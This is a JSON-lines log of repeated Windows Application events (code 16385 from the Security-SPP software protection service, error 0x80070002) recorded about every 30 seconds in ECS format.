{"@timestamp":1659024779031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172809}}
{"@timestamp":1659024809038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172810}}
{"@timestamp":1659024839044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172811}}
{"@timestamp":1659024869049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172812}}
{"@timestamp":1659024899056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172813}}
{"@timestamp":1659024929063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172814}}
{"@timestamp":1659024959068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172815}}
{"@timestamp":1659024989075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172816}}
{"@timestamp":1659025019084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172817}}
{"@timestamp":1659025049089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172818}}
{"@timestamp":1659025079097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172819}}
{"@timestamp":1659025109103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172820}}
{"@timestamp":1659025139110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172821}}
{"@timestamp":1659025169118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172822}}
{"@timestamp":1659025199125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172823}}
{"@timestamp":1659025229131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172824}}
{"@timestamp":1659025259137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172825}}
{"@timestamp":1659025289144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172826}}
{"@timestamp":1659025319151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172827}}
{"@timestamp":1659025349158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172828}}
{"@timestamp":1659025379166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172829}}
{"@timestamp":1659025409173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172830}}
{"@timestamp":1659025439179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172831}}
{"@timestamp":1659025469185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172832}}
{"@timestamp":1659025499192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172833}}
{"@timestamp":1659025529199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172834}}
{"@timestamp":1659025559207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172835}}
{"@timestamp":1659025589214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172836}}
{"@timestamp":1659025619220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172837}}
{"@timestamp":1659025649227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172838}}
{"@timestamp":1659025679234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172839}}
{"@timestamp":1659025709241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172840}}
{"@timestamp":1659025739249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172841}}
{"@timestamp":1659025769255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172842}}
{"@timestamp":1659025799263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172843}}
{"@timestamp":1659025829269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172844}}
{"@timestamp":1659025859276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172845}}
{"@timestamp":1659025889283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172846}}
{"@timestamp":1659025919289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172847}}
{"@timestamp":1659025949297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172848}}
{"@timestamp":1659025979303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172849}}
{"@timestamp":1659026009310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172850}}
{"@timestamp":1659026039318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172851}}
{"@timestamp":1659026069324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172852}}
{"@timestamp":1659026099330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172853}}
{"@timestamp":1659026129338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172854}}
{"@timestamp":1659026159347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172855}}
{"@timestamp":1659026189355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172856}}
{"@timestamp":1659026219362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172857}}
{"@timestamp":1659026249368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172858}}
{"@timestamp":1659026279375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172859}}
{"@timestamp":1659026309383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172860}}
{"@timestamp":1659026339391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172861}}
{"@timestamp":1659026369398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172862}}
{"@timestamp":1659026399405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172863}}
{"@timestamp":1659026429413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172864}}
{"@timestamp":1659026459420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172865}}
{"@timestamp":1659026489427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172866}}
{"@timestamp":1659026519433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172867}}
{"@timestamp":1659026549440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172868}}
{"@timestamp":1659026579446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172869}}
{"@timestamp":1659026609453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172870}}
{"@timestamp":1659026639460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172871}}
{"@timestamp":1659026669466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172872}}
{"@timestamp":1659026699473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172873}}
{"@timestamp":1659026729480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172874}}
{"@timestamp":1659026759486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172875}}
{"@timestamp":1659026789493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172876}}
{"@timestamp":1659026819501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172877}}
{"@timestamp":1659026849508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172878}}
{"@timestamp":1659026879516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172879}}
{"@timestamp":1659026909522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172880}}
{"@timestamp":1659026939529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172881}}
{"@timestamp":1659026969535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172882}}
{"@timestamp":1659026999541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172883}}
{"@timestamp":1659027029547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172884}}
{"@timestamp":1659027059553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172885}}
{"@timestamp":1659027089560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172886}}
{"@timestamp":1659027119567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172887}}
{"@timestamp":1659027149572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172888}}
{"@timestamp":1659027179578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172889}}
{"@timestamp":1659027209585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172890}}
{"@timestamp":1659027239593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172891}}
{"@timestamp":1659027269598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172892}}
{"@timestamp":1659027299604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172893}}
{"@timestamp":1659027329609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172894}}
{"@timestamp":1659027359614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172895}}
{"@timestamp":1659027389619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172896}}
{"@timestamp":1659027419625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172897}}
{"@timestamp":1659027449630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172898}}
{"@timestamp":1659027479637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172899}}
{"@timestamp":1659027509642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172900}}
{"@timestamp":1659027539648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172901}}
{"@timestamp":1659027569653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172902}}
{"@timestamp":1659027599659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172903}}
{"@timestamp":1659027629665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172904}}
{"@timestamp":1659027659672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172905}}
{"@timestamp":1659027689678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172906}}
{"@timestamp":1659027719684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172907}}
{"@timestamp":1659027749690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172908}}
{"@timestamp":1659027779697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172909}}
{"@timestamp":1659027809703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172910}}
{"@timestamp":1659027839711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172911}}
{"@timestamp":1659027869719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172912}}
{"@timestamp":1659027899725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172913}}
{"@timestamp":1659027929730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172914}}
{"@timestamp":1659027959737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172915}}
{"@timestamp":1659027989742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172916}}
{"@timestamp":1659028019748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172917}}
